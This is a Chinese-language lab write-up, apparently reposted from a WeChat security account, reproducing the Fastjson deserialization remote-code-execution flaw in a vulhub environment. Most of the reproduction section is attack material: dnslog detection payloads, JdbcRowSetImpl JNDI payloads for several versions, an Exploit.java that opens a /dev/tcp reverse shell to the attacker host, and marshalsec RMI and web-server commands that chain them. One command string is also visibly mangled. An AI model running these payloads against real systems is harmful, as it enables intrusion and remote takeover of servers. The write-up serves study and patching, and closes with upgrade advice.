Fastjson反序列化漏洞复现

admin 2022年6月23日09:00:45安全文章评论35 views2748字阅读9分9秒阅读模式
Fastjson反序列化漏洞复现
点击上方“蓝字”,发现更多精彩。

0x00 漏洞介绍

java处理JSON数据有三个比较流行的类库,gson(google维护)、jackson、以及今天的主角fastjson,fastjson是阿里巴巴一个开源的json相关的java library,地址在这里,https://github.com/alibaba/fastjson,Fastjson可以将java的对象转换成json的形式,也可以用来将json转换成java对象,效率较高,被广泛的用在web服务以及android上,它的JSONString()方法可以将java的对象转换成json格式,同样通过parseObject方法可以将json数据转换成java的对象。


0x01 漏洞影响版本

  • fastjson-1.2.24_rce.py Fastjson <=1.2.24 反序列化远程命令执行漏洞

  • fastjson-1.2.41_rce.py Fastjson <=1.2.41 反序列化远程命令执行漏洞

  • fastjson-1.2.42_rce.py Fastjson <=1.2.42 反序列化远程命令执行漏洞

  • fastjson-1.2.43_rce.py Fastjson <=1.2.43 反序列化远程命令执行漏洞

  • fastjson-1.2.45_rce.py Fastjson <=1.2.45 反序列化远程命令执行漏洞

  • fastjson-1.2.47_rce.py Fastjson <=1.2.47 反序列化远程命令执行漏洞

  • fastjson-1.2.62_rce.py Fastjson <=1.2.62 反序列化远程命令执行漏洞

  • fastjson-1.2.66_rce.py Fastjson <=1.2.66 反序列化远程命令执行漏洞


0x02 漏洞指纹特征

1.根据返回包判断:

任意抓个包,提交方式改为POST,花括号不闭合。返回包就会出现fastjson字样。当然这个可以屏蔽,如果屏蔽使用其它办法。

Fastjson反序列化漏洞复现


2.利用dnslog盲打:

构造以下payload(content-type字段为application/json),利用dnslog平台接收。不同版本,payload不同。推荐这种方式)

{"zeo":{"@type":"java.net.Inet4Address","val":"ntel8h.dnslog.cn"}}

Fastjson反序列化漏洞复现


Fastjson反序列化漏洞复现



探测版本payload,根据回显判断:

[{"a":"ax]{"@type":"java.lang.AutoCloseable"a


1.2.47版本payload:

{    "a": {        "@type": "java.lang.Class",         "val": "com.sun.rowset.JdbcRowSetImpl"    },     "b": {        "@type": "com.sun.rowset.JdbcRowSetImpl",         "dataSourceName": "ldap://dnslog/",         "autoCommit": true    }}


1.2.67 版本后 payload:

{"@type":"java.net.Inet4Address","val":"dnslog"}{"@type":"java.net.Inet6Address","val":"dnslog"}# 畸形:{"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}


0x03 漏洞环境搭建

靶机:192.168.110.133

攻击机:192.168.0.2

准备工具:https://github.com/mbechler/marshalsec.git

使用vulhub靶场上的环境,切入到1.2.47-rce

启动测试环境:docker-compose up -d

Fastjson反序列化漏洞复现


访问http://your-ip:8090即可看到JSON格式的输出:

Fastjson反序列化漏洞复现


0x04 漏洞复现

思路:

攻击机搭建一个RMI服务,开启一个web服务(目录里面编译Exploit.java)。

这里要注意使用的要求攻击机的javac是1.8的低版本,低于1.8.0_191版本),所以我这里懒得在攻击机上重新装jdk1.8(本机是jdk 17),直接用的靶机上的jdk1.8搭建的rmi服务,并搭建了一个web服务。

反弹shell还是反弹到攻击机。


1.漏洞探测:

根据抓包返回的数据尝试更改json,发送数据为post方式,更改类型为json,这里可以看见已经更改成功了

Fastjson反序列化漏洞复现


我们再用DNSLog探测下看看

{    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"ldap://ntel8h.dnslog.cn/test",        "autoCommit":true    }}

Fastjson反序列化漏洞复现



Fastjson反序列化漏洞复现


DNSLog也接收到了


2.准备环境:

编译一个Exploit.java

public class Exploit {    public Exploit(){        try{            Runtime.getRuntime().exec("/bin/bash -c [email protected]|bash 0 echo bash -i >&/dev/tcp/192.168.0.2/6666 0>&1");        }catch(Exception e){            e.printStackTrace();        }    }    public static void main(String[] argv){        Exploit e = new Exploit();    }}


Fastjson反序列化漏洞复现



3.用python开启一个web服务:

python2 -m SimpleHTTPServer 6969

Fastjson反序列化漏洞复现


访问看看:

Fastjson反序列化漏洞复现



4.再用marshalsec文件开启一个rmi服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.110.133:6969/#Exploit" 6799

Fastjson反序列化漏洞复现



5.NC监听下6666端口(我们exploit.java里面编写的就是反弹shell到192.168.0.2的6666端口)

Fastjson反序列化漏洞复现



6.进行利用反弹shell看看:

{    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://192.168.110.133:6799/#Exploit",        "autoCommit":true    }}

Fastjson反序列化漏洞复现


可以看到shell反弹过来了:

Fastjson反序列化漏洞复现

0x05 漏洞修复

fastjson升级到 1.2.51 以上,并推荐关闭Autotype 详细升级方法可参见漏洞修复措施。



内容仅供学习及自我检测修复,根据此文造成的任何后果均由用户个人承担。



我知道你在看
Fastjson反序列化漏洞复现


原文始发于微信公众号(米瑞尔信息安全):Fastjson反序列化漏洞复现

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月23日09:00:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Fastjson反序列化漏洞复现 http://cn-sec.com/archives/1135393.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: